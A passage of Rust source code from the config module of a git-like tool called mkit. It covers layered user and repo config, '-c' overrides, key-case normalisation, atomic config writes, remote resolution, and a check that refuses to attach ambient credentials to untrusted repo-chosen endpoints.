            std::ptr::addr_of_mut!(pwd),
            buf.as_mut_ptr().cast::<libc::c_char>(),
            buf.len(),
            std::ptr::addr_of_mut!(result),
        );
        if rc != 0 || result.is_null() || pwd.pw_dir.is_null() {
            None
        } else {
            // Copy the C string out before `buf` / `pwd` go out of
            // scope. `to_bytes` does not include the trailing NUL.
            Some(CStr::from_ptr(pwd.pw_dir).to_bytes().to_vec())
        }
    };
    let bytes = pw_dir_owned?;
    if bytes.is_empty() {
        return None;
    }
    Some(PathBuf::from(std::ffi::OsString::from_vec(bytes)))
}

#[cfg(not(unix))]
#[must_use]
pub fn home_dir_for_euid() -> Option<PathBuf> {
    // Windows: there's no `getpwuid` equivalent. `%USERPROFILE%` is
    // the conventional environment variable but is no more
    // tamper-resistant than `$HOME` on Unix. Document the gap and
    // accept it — the user-vs-attacker threat model on Windows is
    // bounded by the user-profile ACL, not by this check.
    std::env::var_os("USERPROFILE").map(PathBuf::from)
}

/// Split a pipe-separated argv string into argv tokens.
#[must_use]
pub fn parse_pipe_list(s: &str) -> Vec<String> {
    if s.is_empty() {
        return Vec::new();
    }
    s.split('|').map(str::to_owned).collect()
}

/// Validate a config value has no control bytes below 0x20 (except
/// tab) and no 0x7f.
pub fn validate_value(v: &str) -> Result<(), ConfigError> {
    for b in v.bytes() {
        if b < 0x20 || b == 0x7f {
            return Err(ConfigError::InvalidValue);
        }
    }
    Ok(())
}

/// Resolve the user-scoped config file path:
/// `$XDG_CONFIG_HOME/mkit/config`, falling back to
/// `$HOME/.config/mkit/config`.
#[must_use]
pub fn user_config_path() -> PathBuf {
    xdg_config_home().join(USER_CONFIG_SUBPATH)
}

/// Read the layered config: defaults → user-scoped → repo-scoped
/// (filtered to non-sensitive keys). Missing files are not errors; the
/// per-layer absence simply leaves the lower layer's value in place.
///
/// If the repo file sets a key listed in [`REPO_FORBIDDEN_KEYS`], a
/// warning is printed to stderr and the value is dropped.
pub fn read_or_default(layout: &RepoLayout) -> Result<Config, ConfigError> {
    let mut cfg = Config::with_defaults();
    apply_file(&mut cfg, &user_config_path(), ConfigScope::User)?;
    apply_file(&mut cfg, &layout.config_file(), ConfigScope::Repo)?;
    // `-c <key>=<val>` one-shot overrides apply to BOTH the layered and the
    // flat read path, so `mkit -c … <any-command>` is honored uniformly
    // (commit/merge/etc. read through here). Same forbidden-key enforcement.
    apply_cli_overrides(&mut cfg);
    Ok(cfg)
}

/// Read both raw layers plus the merged config.
pub fn read_layered(layout: &RepoLayout) -> Result<LayeredConfig, ConfigError> {
    let mut merged = Config::with_defaults();
    let user_path = user_config_path();
    let repo_path = layout.config_file();
    apply_file_inner(&mut merged, &user_path, ConfigScope::User, true)?;
    apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, true)?;
    // `-c <key>=<val>` one-shot overrides (git parity) are applied LAST, on
    // top of every file layer, but ONLY to the effective `merged` view —
    // never to `user`/`repo`, so they are never persisted by a later
    // `config::write`. They flow through the SAME forbidden-key enforcement
    // as a per-repo file: security-sensitive keys (`REPO_FORBIDDEN_KEYS`)
    // and dangerous `core.*` (`CORE_DENIED_KEYS`) are refused, so `-c`
    // cannot spoof the signed author or redirect signing/transport trust.
    apply_cli_overrides(&mut merged);

    let mut user = Config::default();
    apply_file_inner(&mut user, &user_path, ConfigScope::User, false)?;

    let mut repo = Config::default();
    apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false)?;

    Ok(LayeredConfig { merged, user, repo })
}

/// Process-global `-c <key>=<val>` overrides set once by the CLI
/// dispatcher before any command runs.
static CLI_OVERRIDES: std::sync::OnceLock<std::sync::Mutex<Vec<(String, String)>>> =
    std::sync::OnceLock::new();

/// Record the `-c key=value` overrides parsed from the global flags. Each
/// is `(key, value)`; an empty list clears any previous set. Idempotent
/// and safe to call before dispatch.
pub fn set_cli_overrides(overrides: Vec<(String, String)>) {
    let slot = CLI_OVERRIDES.get_or_init(|| std::sync::Mutex::new(Vec::new()));
    if let Ok(mut guard) = slot.lock() {
        *guard = overrides;
    }
}

/// Apply the recorded `-c` overrides to `cfg`, enforcing the same
/// forbidden-key / denied-`core.*` rules a per-repo file gets.
fn apply_cli_overrides(cfg: &mut Config) {
    let Some(slot) = CLI_OVERRIDES.get() else {
        return;
    };
    let Ok(overrides) = slot.lock() else {
        return;
    };
    for (raw_key, val) in overrides.iter() {
        let key = normalize_config_key(raw_key.trim());
        if REPO_FORBIDDEN_KEYS.contains(&key.as_str()) {
            let mut stderr = io::stderr().lock();
            let _ = writeln!(
                stderr,
                "warning: ignoring `-c {key}=…` (security-sensitive keys cannot be set via -c; \
                 set it in your user config — see docs/THREAT-MODEL.md)"
            );
            continue;
        }
        // Reject control characters in the value (defense in depth — same
        // check `mkit config` applies before persisting).
        if validate_value(val.trim()).is_err() {
            let mut stderr = io::stderr().lock();
            let _ = writeln!(
                stderr,
                "warning: ignoring `-c {key}=…` (value contains control characters)"
            );
            continue;
        }
        apply_kv(cfg, &key, val.trim());
    }
}

/// Apply a single config file to `cfg` under the given scope. Missing
/// file → no-op (returns `Ok`). Malformed lines are tolerated.
///
/// Public-in-crate so tests can drive layering without mutating the
/// process's `XDG_CONFIG_HOME` env var (which would race with parallel
/// tests and trip the `disallowed-methods` lint).
pub(crate) fn apply_file(
    cfg: &mut Config,
    path: &Path,
    scope: ConfigScope,
) -> Result<(), ConfigError> {
    apply_file_inner(cfg, path, scope, true)
}

fn apply_file_inner(
    cfg: &mut Config,
    path: &Path,
    scope: ConfigScope,
    warn_on_forbidden: bool,
) -> Result<(), ConfigError> {
    let text = match fs::read_to_string(path) {
        Ok(s) => s,
        Err(e) if e.kind() == io::ErrorKind::NotFound => return Ok(()),
        Err(e) => return Err(e.into()),
    };
    for raw_line in text.lines() {
        let line = raw_line.trim();
        if line.is_empty() || line.starts_with('#') {
            continue;
        }
        let Some((k, v)) = line.split_once('=') else {
            continue;
        };
        // Git matches config section + variable names case-insensitively,
        // so a hand-edited `User.Name` / `Core.AutoCRLF` must resolve like
        // its canonical form. Normalize BEFORE the forbidden-key check so a
        // case-variant (`User.Identity`) can't slip a security-sensitive key
        // into the per-repo layer. Subsection names (`remote.<name>`,
        // `branch.<branch>`) keep their case — they are case-sensitive in
        // git, and lowercasing them would corrupt named remotes on reload.
        let key = normalize_config_key(k.trim());
        let key = key.as_str();
        let val = v.trim();
        if scope == ConfigScope::Repo && REPO_FORBIDDEN_KEYS.contains(&key) {
            if warn_on_forbidden {
                warn_forbidden_repo_key(path, key);
            }
            continue;
        }
        apply_kv(cfg, key, val);
    }
    Ok(())
}

fn warn_forbidden_repo_key(path: &Path, key: &str) {
    let mut stderr = io::stderr().lock();
    let _ = writeln!(
        stderr,
        "warning: ignoring `{key}` from per-repo config at {} \
         (security-sensitive keys are user-scoped only — see {} \
         and docs/THREAT-MODEL.md)",
        path.display(),
        user_config_path().display()
    );
}

/// Apply one parsed key/value pair to `cfg`. Unknown / legacy keys are
/// tolerated (silent) for forward compat with hand-edited files.
fn apply_kv(cfg: &mut Config, key: &str, val: &str) {
    // Inert git-compat `core.*` keys: store only the allowlisted ones
    // (dangerous keys are dropped on read, like any other unknown key).
    if let Some(suffix) = core_allowed_suffix(key) {
        cfg.core.insert(suffix, val.to_string());
        return;
    }
    match key {
        "user.identity" => val.clone_into(&mut cfg.user_identity),
        // Git-compatibility aliases — non-authoritative (never feed the
        // signed author), so they are repo-safe to read at any scope.
        "user.name" => val.clone_into(&mut cfg.user_name),
        "user.email" => val.clone_into(&mut cfg.user_email),
        "trusted_remote_endpoint" => val.clone_into(&mut cfg.trusted_remote_endpoint),
        "signer" => val.clone_into(&mut cfg.signer),
        "pull.require_signed" => val.clone_into(&mut cfg.pull_require_signed),
        "key.backend" => val.clone_into(&mut cfg.key.backend),
        "key.default_ref" => val.clone_into(&mut cfg.key.default_ref),
        "key.ed25519_ref" => val.clone_into(&mut cfg.key.ed25519_ref),
        "key.secp256k1_ref" => val.clone_into(&mut cfg.key.secp256k1_ref),
        "key.p256_ref" => val.clone_into(&mut cfg.key.p256_ref),
        "signing_key" => val.clone_into(&mut cfg.signing_key),
        "default_branch" => val.clone_into(&mut cfg.default_branch),
        "durability.objects" => val.clone_into(&mut cfg.durability_objects),
        "remote_endpoint" => val.clone_into(&mut cfg.remote_endpoint),
        "remote_bucket" => val.clone_into(&mut cfg.remote_bucket),
        "remote_type" => val.clone_into(&mut cfg.remote_type),
        "ssh.strict_host_key_checking" => val.clone_into(&mut cfg.ssh_strict_host_key_checking),
        "ssh.user_known_hosts_file" => val.clone_into(&mut cfg.ssh_user_known_hosts_file),
        "ssh.identity_file" => val.clone_into(&mut cfg.ssh_identity_file),
        "transport_auth" => val.clone_into(&mut cfg.transport_auth),
        "attest.default_algorithm" => val.clone_into(&mut cfg.attest.default_algorithm),
        "attest.signer" => val.clone_into(&mut cfg.attest.signer),
        "attest.external_signer_path" => val.clone_into(&mut cfg.attest.external_signer_path),
        "attest.external_signer_args" => {
            cfg.attest.external_signer_args = parse_pipe_list(val);
        }
        "attest.external_signer_timeout_secs" => {
            // Tolerate a malformed value on read (mirrors the rest of
            // this parser): an unparseable number leaves the default in
            // effect rather than aborting config load.
            cfg.attest.external_signer_timeout_secs = val.trim().parse::<u64>().ok();
        }
        "attest.secp256k1_key_path" => val.clone_into(&mut cfg.attest.secp256k1_key_path),
        "attest.p256_key_path" => val.clone_into(&mut cfg.attest.p256_key_path),
        // Dotted section keys: `remote.<name>.{url,type}` (repo-safe
        // addresses) and `branch.<b>.{remote,merge}` (per-branch
        // upstream). Each remote endpoint still flows through the #97
        // per-endpoint gate, so a named remote cannot smuggle ambient
        // creds.
        _ if apply_section_kv(cfg, key, val) => {}
        // Legacy keys — silently ignored.
        "author_mid" | "project_id" | "network" => {}
        _ if key.ends_with("_url") => {}
        _ => {} // unknown keys: tolerate on read
    }
}

/// `true` if `key` is in the `core` section (`core.<x>`), matched
/// case-insensitively like git (`Core.x`, `CORE.x` all count).
#[must_use]
pub fn is_core_section(key: &str) -> bool {
    key.split_once('.')
        .is_some_and(|(section, _)| section.eq_ignore_ascii_case("core"))
}

/// If `key` is `core.<x>` (section matched case-insensitively) with `<x>` an
/// allowlisted inert key, return the canonical lowercase suffix. git lowercases
/// both the section and the variable name, so `Core.AutoCRLF` → `autocrlf`.
#[must_use]
pub fn core_allowed_suffix(key: &str) -> Option<String> {
    let (section, name) = key.split_once('.')?;
    if !section.eq_ignore_ascii_case("core") {
        return None;
    }
    let suffix = name.to_ascii_lowercase();
    CORE_ALLOWED_KEYS
        .contains(&suffix.as_str())
        .then_some(suffix)
}

/// Canonicalize a config key's case the way git does: the **section** and
/// **variable** names are case-insensitive (lowercased), but the
/// **subsection** — the middle segment of a `<section>.<subsection>.<var>`
/// key, e.g. the `<name>` in `remote.<name>.url` or the `<branch>` in
/// `branch.<branch>.remote` — is **case-sensitive** and preserved verbatim.
///
/// Two-segment keys (`user.name`, `core.autocrlf`, …) have no subsection,
/// so both halves are lowercased. The split mirrors `apply_section_kv`'s
/// `splitn(3, '.')`, so the canonical form round-trips through it.
#[must_use]
pub fn normalize_config_key(key: &str) -> String {
    // git's key model: the FIRST `.` separates the section, the LAST `.`
    // separates the variable, and everything between is the (case-sensitive)
    // subsection — which may itself contain dots (`remote.a.b.url` →
    // subsection `a.b`, variable `url`). Section + variable are lowercased;
    // the subsection is preserved verbatim.
    match key.split_once('.') {
        Some((section, rest)) => match rest.rsplit_once('.') {
            Some((subsection, variable)) => format!(
                "{}.{subsection}.{}",
                section.to_ascii_lowercase(),
                variable.to_ascii_lowercase()
            ),
            None => format!(
                "{}.{}",
                section.to_ascii_lowercase(),
                rest.to_ascii_lowercase()
            ),
        },
        None => key.to_ascii_lowercase(),
    }
}

/// Apply a `<section>.<name>.<field>` key (named remotes, branch
/// upstreams). Returns `true` if the key matched a known section/field
/// (regardless of whether the name validated), so the caller's match
/// arm can treat it as handled.
fn apply_section_kv(cfg: &mut Config, key: &str, val: &str) -> bool {
    let mut parts = key.splitn(3, '.');
    let (Some(section), Some(name), Some(field)) = (parts.next(), parts.next(), parts.next())
    else {
        return false;
    };
    // Only flat, ref-safe names (no further dots) are accepted.
    let valid_name = !name.is_empty() && mkit_core::refs::validate_ref_name(name);
    match (section, field) {
        ("remote", "url") => {
            if valid_name {
                val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().url);
            }
            true
        }
        ("remote", "type") => {
            if valid_name {
                val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().remote_type);
            }
            true
        }
        ("branch", "remote") => {
            if valid_name {
                val.clone_into(
                    &mut cfg
                        .branch_upstreams
                        .entry(name.to_owned())
                        .or_default()
                        .remote,
                );
            }
            true
        }
        ("branch", "merge") => {
            if valid_name {
                val.clone_into(
                    &mut cfg
                        .branch_upstreams
                        .entry(name.to_owned())
                        .or_default()
                        .branch,
                );
            }
            true
        }
        _ => false,
    }
}

/// Write the given `Config` to `<root>/.mkit/config`. Only repo-scoped
/// (non-forbidden) fields are emitted; security-sensitive fields live
/// in the user-scoped file and must be written there explicitly.
///
/// **Contract:** `cfg` MUST be a repo-scoped config — either
/// [`read_layered`]`(root).repo` for a read-modify-write, or a freshly
/// built [`Config`] (e.g. on `clone`). NEVER pass a merged config
/// ([`read_or_default`] / [`read_layered`]`.merged`): this serializer
/// emits repo-safe fields such as `user.name` / `user.email`, so a
/// user-scoped value would be materialized into the clone-traveling
/// `.mkit/config` (a privacy/scope leak). Callers that need the effective
/// (merged) value for *reads* should use it only for reads.
pub fn write(layout: &RepoLayout, cfg: &Config) -> Result<(), ConfigError> {
    let path = layout.config_file();
    if let Some(parent) = path.parent() {
        fs::create_dir_all(parent)?;
    }
    // Only repo-safe keys are emitted. Anything in `REPO_FORBIDDEN_KEYS`
    // is explicitly NOT serialised to `<repo>/.mkit/config` — it lives
    // in `$XDG_CONFIG_HOME/mkit/config` via `write_user_kv`. Note
    // `attest.{signer,default_algorithm}` are forbidden too because
    // they're the *selectors* that weaponise a user-scoped external
    // signer or non-Ed25519 key path against attacker-chosen content.
    let mut out = String::new();
    for (k, v) in [
        // `user.name`/`user.email` are repo-safe git-compat aliases
        // (non-authoritative — they never feed the signed author).
        ("user.name", cfg.user_name.as_str()),
        ("user.email", cfg.user_email.as_str()),
        ("default_branch", cfg.default_branch.as_str()),
        ("durability.objects", cfg.durability_objects.as_str()),
        ("remote_endpoint", cfg.remote_endpoint.as_str()),
        ("remote_bucket", cfg.remote_bucket.as_str()),
        ("remote_type", cfg.remote_type.as_str()),
        ("transport_auth", cfg.transport_auth.as_str()),
    ] {
        if !v.is_empty() {
            out.push_str(k);
            out.push_str(" = ");
            out.push_str(v);
            out.push('\n');
        }
    }
    // Named remotes (`remote.<name>.url` / `.type`). BTreeMap iteration
    // is sorted, so output is deterministic. `writeln!` into a `String`
    // is infallible.
    for (name, entry) in &cfg.remotes {
        if !entry.url.is_empty() {
            let _ = writeln!(out, "remote.{name}.url = {}", entry.url);
        }
        if !entry.remote_type.is_empty() {
            let _ = writeln!(out, "remote.{name}.type = {}", entry.remote_type);
        }
    }
    // Per-branch upstream tracking (`branch.<b>.remote` / `.merge`).
    for (branch, up) in &cfg.branch_upstreams {
        if !up.remote.is_empty() {
            let _ = writeln!(out, "branch.{branch}.remote = {}", up.remote);
        }
        if !up.branch.is_empty() {
            let _ = writeln!(out, "branch.{branch}.merge = {}", up.branch);
        }
    }
    // Inert git-compat `core.*` keys — repo-safe (mkit never acts on them).
    for (k, v) in &cfg.core {
        let _ = writeln!(out, "core.{k} = {v}");
    }
    // Atomic replace: write to a sibling temp file then rename over the
    // target so a crash mid-write can never leave a truncated config
    // (which would silently drop remotes / upstream tracking). The temp
    // file shares the destination directory so the rename stays on one
    // filesystem.
    let dir = path.parent().unwrap_or_else(|| Path::new("."));
    let mut tmp = tempfile::Builder::new()
        .prefix(".config.")
        .tempfile_in(dir)?;
    tmp.write_all(out.as_bytes())?;
    tmp.flush()?;
    tmp.persist(&path).map_err(|e| ConfigError::Io(e.error))?;
    Ok(())
}

/// The implicit name of the legacy flat `remote_endpoint` /
/// `remote_type` remote.
pub const DEFAULT_REMOTE_NAME: &str = "default";

/// A resolved remote: its endpoint URL plus whether the repo-scoped
/// config selected it (`repo_chosen`), which the #97 credential gate
/// keys on. Returned by [`resolve_remote`].
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct ResolvedRemote {
    pub name: String,
    pub endpoint: String,
    pub repo_chosen: bool,
}

/// Resolve a remote NAME to its endpoint + provenance.
///
/// - `default` (or an empty name): the flat `remote_endpoint`; chosen by
///   the repo iff the repo layer set it.
/// - any other name: a `remote.<name>.url` entry. Named remotes are
///   stored repo-scoped, so a named remote present in the repo layer is
///   `repo_chosen`; one present only in the user layer is not.
///
/// Returns `None` when the name is unknown / its URL is empty.
#[must_use]
pub fn resolve_remote(cfg: &LayeredConfig, name: &str) -> Option<ResolvedRemote> {
    let name = if name.is_empty() {
        DEFAULT_REMOTE_NAME
    } else {
        name
    };
    if name == DEFAULT_REMOTE_NAME && !cfg.merged.remote_endpoint.trim().is_empty() {
        let endpoint = cfg.merged.remote_endpoint.trim().to_owned();
        let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
        return Some(ResolvedRemote {
            name: DEFAULT_REMOTE_NAME.to_owned(),
            endpoint,
            repo_chosen,
        });
    }
    let entry = cfg.merged.remotes.get(name)?;
    let endpoint = entry.url.trim();
    if endpoint.is_empty() {
        return None;
    }
    let repo_chosen = cfg
        .repo
        .remotes
        .get(name)
        .is_some_and(|e| e.url.trim() == endpoint);
    Some(ResolvedRemote {
        name: name.to_owned(),
        endpoint: endpoint.to_owned(),
        repo_chosen,
    })
}

/// Every remote name resolvable via [`resolve_remote`]: the flat
/// `default` remote (when the flat `remote_endpoint` is set) plus every
/// named `remote.<name>.url` entry. Sorted and deduplicated (a
/// `BTreeSet` cannot contain a name twice), which is what makes `fetch
/// --all` / `pull --all`'s iteration order deterministic. Used by
/// `mkit fetch --all` / `mkit pull --all` to enumerate the remotes to
/// sync in one invocation.
#[must_use]
pub fn configured_remote_names(cfg: &LayeredConfig) -> Vec<String> {
    let mut names: std::collections::BTreeSet<String> =
        cfg.merged.remotes.keys().cloned().collect();
    if !cfg.merged.remote_endpoint.trim().is_empty() {
        names.insert(DEFAULT_REMOTE_NAME.to_owned());
    }
    names.into_iter().collect()
}

/// Resolve the upstream (remote name, remote branch) for a local branch.
/// Falls back to the `default` remote tracking the same-named branch
/// when no explicit `branch.<b>.{remote,merge}` is configured *and* a
/// default remote exists.
#[must_use]
pub fn resolve_upstream(cfg: &LayeredConfig, branch: &str) -> Option<Upstream> {
    if let Some(up) = cfg.merged.branch_upstreams.get(branch)
        && !up.remote.is_empty()
        && !up.branch.is_empty()
    {
        return Some(up.clone());
    }
    // Implicit fallback: a configured default remote tracks the
    // same-named branch. Only offered when a default endpoint exists so
    // callers can still produce an actionable "no upstream" error.
    if !cfg.merged.remote_endpoint.trim().is_empty() {
        return Some(Upstream {
            remote: DEFAULT_REMOTE_NAME.to_owned(),
            branch: branch.to_owned(),
        });
    }
    None
}

/// Real-environment getter used by the runtime credential gate: reads
/// the named environment variable, treating an empty value as absent.
fn real_getenv(name: &str) -> Option<String> {
    std::env::var(name).ok().filter(|value| !value.is_empty())
}

/// Refuse to use ambient HTTP/S3 environment credentials with a
/// repo-configured endpoint unless the user has explicitly trusted that
/// exact remote in user-scoped config.
///
/// Retained as the back-compat entry point for the flat single-remote
/// `remote_endpoint`. New, per-endpoint callers (named remotes, the
/// shared transport-dispatch choke point) should use
/// [`endpoint_credential_trust`], which is keyed on an explicit
/// `repo_chosen` provenance flag rather than re-deriving it from the
/// flat field.
pub fn enforce_trusted_remote_endpoint(cfg: &LayeredConfig) -> Result<(), String> {
    let endpoint = cfg.merged.remote_endpoint.trim();
    let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
    match trusted_remote_error_for(
        endpoint,
        repo_chosen,
        cfg.user.trusted_remote_endpoint.trim(),
        &real_getenv,
    ) {
        Some(msg) => Err(msg),
        None => Ok(()),
    }
}

/// Per-endpoint credential trust check for the shared dispatch choke
/// point ([`crate::remote_dispatch::open_trusted`]) and named-remote
/// callers. `repo_chosen` is `true` when the endpoint was selected by
/// the repo-scoped config (the flat `remote_endpoint` or a
/// `remote.<name>.url` entry), `false` when it was supplied by the user
/// (user-scoped config or an explicit CLI argument). Trust is keyed on
/// the resolved ENDPOINT plus this provenance, never on a remote name.
pub fn endpoint_credential_trust(
    cfg: &LayeredConfig,
    endpoint: &str,
    repo_chosen: bool,
) -> Result<(), String> {
    match trusted_remote_error_for(
        endpoint.trim(),
        repo_chosen,
        cfg.user.trusted_remote_endpoint.trim(),
        &real_getenv,
    ) {
        Some(msg) => Err(msg),
        None => Ok(()),
    }
}

/// Core gate, keyed on an explicit endpoint + provenance rather than a
/// `LayeredConfig`. Returns `Some(error)` when ambient HTTP/S3
/// credentials would be attached to a repo-chosen endpoint that the
/// user has not explicitly trusted.
///
/// * `endpoint` — the resolved, already-trimmed remote URL.
/// * `repo_chosen` — whether the repo-scoped config selected this
///   endpoint (the only case the gate fences; a user-chosen endpoint is
///   the user's own decision).
/// * `user_trusted` — the trimmed user-scoped `trusted_remote_endpoint`.
/// * `getenv` — credential probe (injected for tests).
fn trusted_remote_error_for<F>(
    endpoint: &str,
    repo_chosen: bool,
    user_trusted: &str,
    getenv: &F,
) -> Option<String>
where
    F: Fn(&str) -> Option<String>,
{
    if endpoint.is_empty() || !repo_chosen {
        return None;
    }
    if user_trusted == endpoint {
        return None;
    }

    if endpoint.starts_with("mkit+http://") || endpoint.starts_with("mkit+https://") {
        if getenv(mkit_transport_http::TOKEN_ENV).is_some() {
            return Some(format!(
                "refusing repo-configured remote `{endpoint}` with ambient {} bearer token; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
                mkit_transport_http::TOKEN_ENV,
                user_config_path().display()
            ));
        }
        return None;
    }

    if endpoint.starts_with("mkit+s3://")
        && (getenv(mkit_transport_s3::ENV_ACCESS_KEY).is_some()
            || getenv(mkit_transport_s3::ENV_SECRET_KEY).is_some())
    {
        return Some(format!(
            "refusing repo-configured remote `{endpoint}` with ambient S3/R2 credentials; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
            user_config_path().display()
        ));
    }

    None
}

/// Write a single user-scoped key/value to `$XDG_CONFIG_HOME/mkit/config`.
/// Reads the existing file (if any), updates the matching line (or
/// appends), and writes back. Caller is responsible for validating
/// `value` (control bytes, key-path traversal).
pub fn write_user_kv(key: &str, value: &str) -> Result<(), ConfigError> {
    // Normalize so the written line and the case-insensitive match below use
    // git's canonical form, regardless of how the caller spelled the key.
    let key = normalize_config_key(key);
    let key = key.as_str();
    let path = user_config_path();
    if let Some(parent) = path.parent() {
        fs::create_dir_all(parent)?;
    }
    let existing = fs::read_to_string(&path).unwrap_or_default();
    let mut out = String::new();
    let mut replaced = false;
    for raw_line in existing.lines() {
        let line = raw_line.trim();
        if line.is_empty() || line.starts_with('#') {
            out.push_str(raw_line);
            out.push('\n');
            continue;
        }
        // Match existing lines case-insensitively (like reads), so a
        // mixed-case duplicate of the same key is updated/normalized rather
        // than left behind to shadow the canonical line. `key` is already
        // normalized by the caller.
        if let Some((k, _)) = line.split_once('=')
            && normalize_config_key(k.trim()) == key
        {
            out.push_str(key);
            out.push_str(" = ");
            out.push_str(value);
            out.push('\n');
            replaced = true;
            continue;
        }
        out.push_str(raw_line);
        out.push('\n');
    }
    if !replaced {
        out.push_str(key);
        out.push_str(" = ");
        out.push_str(value);
        out.push('\n');
    }
    // Atomic temp + fsync + rename so a crash mid-write can't leave the
    // security-sensitive user config half-written (#223). A reader either
    // sees the old contents or the fully-updated file, never a torn one.
    write_atomic_user_config(&path, out.as_bytes())?;
    Ok(())
}

/// Remove a single user-scoped key from `$XDG_CONFIG_HOME/mkit/config`,
/// mirroring [`write_user_kv`]'s read-modify-write-atomically shape but
/// dropping the matching line instead of replacing it. Returns `true`
/// iff a matching line was found and removed (a no-op unset — the key
/// was already absent — returns `false` rather than erroring, so
/// `mkit config --unset` on an already-unset key is idempotent).
pub fn remove_user_kv(key: &str) -> Result<bool, ConfigError> {
    let key = normalize_config_key(key);
    let key = key.as_str();
    let path = user_config_path();
    let existing = match fs::read_to_string(&path) {
        Ok(s) => s,
        Err(e) if e.kind() == io::ErrorKind::NotFound => return Ok(false),
        Err(e) => return Err(ConfigError::Io(e)),
    };
    let mut out = String::new();
    let mut removed = false;
    for raw_line in existing.lines() {
        let line = raw_line.trim();
        if line.is_empty() || line.starts_with('#') {
            out.push_str(raw_line);
            out.push('\n');
            continue;
        }
        if let Some((k, _)) = line.split_once('=')
            && normalize_config_key(k.trim()) == key
        {
            removed = true;
            continue;
        }
        out.push_str(raw_line);
        out.push('\n');
    }
    if removed {
        write_atomic_user_config(&path, out.as_bytes())?;
    }
    Ok(removed)
}

/// Atomically write `bytes` to `path`: write into a sibling temp file,
/// fsync it, then rename over the destination. Mirrors the key-save
/// path's temp+rename hardening.
fn write_atomic_user_config(path: &Path, bytes: &[u8]) -> Result<(), ConfigError> {
    use tempfile::NamedTempFile;
    let parent = path.parent().ok_or(ConfigError::Io(io::Error::new(
        io::ErrorKind::InvalidInput,
        "user config path has no parent",
    )))?;
    let mut tmp = NamedTempFile::new_in(parent)?;
    tmp.as_file_mut().write_all(bytes)?;
    tmp.as_file_mut().sync_all()?;
    tmp.persist(path).map_err(|e| ConfigError::Io(e.error))?;
    Ok(())
}

/// Expand a user-typed `user.identity` into the canonical hex form
/// `[kind:u8][len:u16 LE][bytes]`. See `docs/CLI.md`.
pub fn expand_user_identity(value: &str) -> Result<String, ConfigError> {
    if value.is_empty() {
        return Err(ConfigError::InvalidUserIdentity("empty value"));
    }
    if let Some(hex) = value.strip_prefix("ed25519:") {
        if hex.len() != 64 {
            return Err(ConfigError::InvalidUserIdentity(
                "ed25519:<hex> must have 64 hex chars",
            ));
        }
        let bytes =
            hex_decode(hex).ok_or(ConfigError::InvalidUserIdentity("ed25519 hex is not valid"))?;
        return Ok(encode_identity_hex(0x01, &bytes));
    }
    if let Some(dec) = value.strip_prefix("mid:") {
        let mid: u64 = dec
            .parse()
            .map_err(|_| ConfigError::InvalidUserIdentity("mid must be a decimal u64"))?;
        return Ok(encode_identity_hex(0x03, &mid.to_le_bytes()));
    }
    if !value.len().is_multiple_of(2) || value.len() < 6 {
        return Err(ConfigError::InvalidUserIdentity(
            "raw hex is too short or has odd length",
        ));
    }
    let bytes = hex_decode(value).ok_or(ConfigError::InvalidUserIdentity(
        "raw value is not valid hex",
    ))?;
    let declared = u16::from(bytes[1]) | (u16::from(bytes[2]) << 8);
    if bytes.len() != usize::from(declared) + 3 {
        return Err(ConfigError::InvalidUserIdentity(
            "declared length does not match payload length",
        ));
    }
    Ok(value.to_owned())
}

fn encode_identity_hex(kind: u8, bytes: &[u8]) -> String {
    let len = u16::try_from(bytes.len()).unwrap_or(u16::MAX);
    let mut buf = Vec::with_capacity(3 + bytes.len());
    buf.push(kind);
    buf.extend_from_slice(&len.to_le_bytes());
    buf.extend_from_slice(bytes);
    hex_encode(&buf)
}

fn hex_encode(bytes: &[u8]) -> String {
    static H: &[u8; 16] = b"0123456789abcdef";
    let mut s = String::with_capacity(bytes.len() * 2);
    for b in bytes {
        s.push(H[(b >> 4) as usize] as char);
        s.push(H[(b & 0x0F) as usize] as char);
    }
    s
}

fn hex_decode(s: &str) -> Option<Vec<u8>> {
    if !s.len().is_multiple_of(2) {
        return None;
    }
    let mut out = Vec::with_capacity(s.len() / 2);
    let b = s.as_bytes();
    for i in (0..b.len()).step_by(2) {
        let hi = nibble(b[i])?;
        let lo = nibble(b[i + 1])?;
        out.push((hi << 4) | lo);
    }
    Some(out)
}

fn nibble(c: u8) -> Option<u8> {
    Some(match c {
        b'0'..=b'9' => c - b'0',
        b'a'..=b'f' => 10 + c - b'a',
        b'A'..=b'F' => 10 + c - b'A',
        _ => return None,
    })
}

/// XDG base-dir resolvers — fall back to `$HOME/.config` / `.local`.
fn xdg(var: &str, fallback_under_home: &str) -> PathBuf {
    if let Some(v) = std::env::var_os(var)
        && !v.is_empty()
    {
        return PathBuf::from(v);
    }
    if let Some(home) = std::env::var_os("HOME") {
        return PathBuf::from(home).join(fallback_under_home);
    }
    PathBuf::from(".")
}

#[must_use]
pub fn xdg_config_home() -> PathBuf {
    xdg("XDG_CONFIG_HOME", ".config")
}

#[cfg(test)]
mod tests {
    use super::*;
    use mkit_core::layout::RepoLayout;
    use tempfile::TempDir;

    #[test]
    fn normalize_config_key_casing() {
        // Two-segment keys: section + variable both lowercased.
        assert_eq!(normalize_config_key("User.Name"), "user.name");
        assert_eq!(normalize_config_key("Core.AutoCRLF"), "core.autocrlf");
        assert_eq!(normalize_config_key("user.identity"), "user.identity");
        // Three-segment keys: section + variable lowercased, subsection kept.
        assert_eq!(
            normalize_config_key("remote.Origin.url"),
            "remote.Origin.url"
        );
        assert_eq!(
            normalize_config_key("Remote.Origin.URL"),
            "remote.Origin.url"
        );
        assert_eq!(
            normalize_config_key("branch.Release.remote"),
            "branch.Release.remote"
        );
        // 4+ segments: FIRST dot is the section, LAST dot is the variable;
        // everything between is a (case-preserved) subsection that may itself
        // contain dots — matching git (not `splitn(3)`, which would lump
        // `URL.X` into the variable).
        assert_eq!(normalize_config_key("Remote.A.B.URL"), "remote.A.B.url");
        assert_eq!(
            normalize_config_key("HTTP.https://Ex.com/.SSLVerify"),
            "http.https://Ex.com/.sslverify"
        );
        // No dot: lowercased.
        assert_eq!(normalize_config_key("Foo"), "foo");
    }

    #[test]
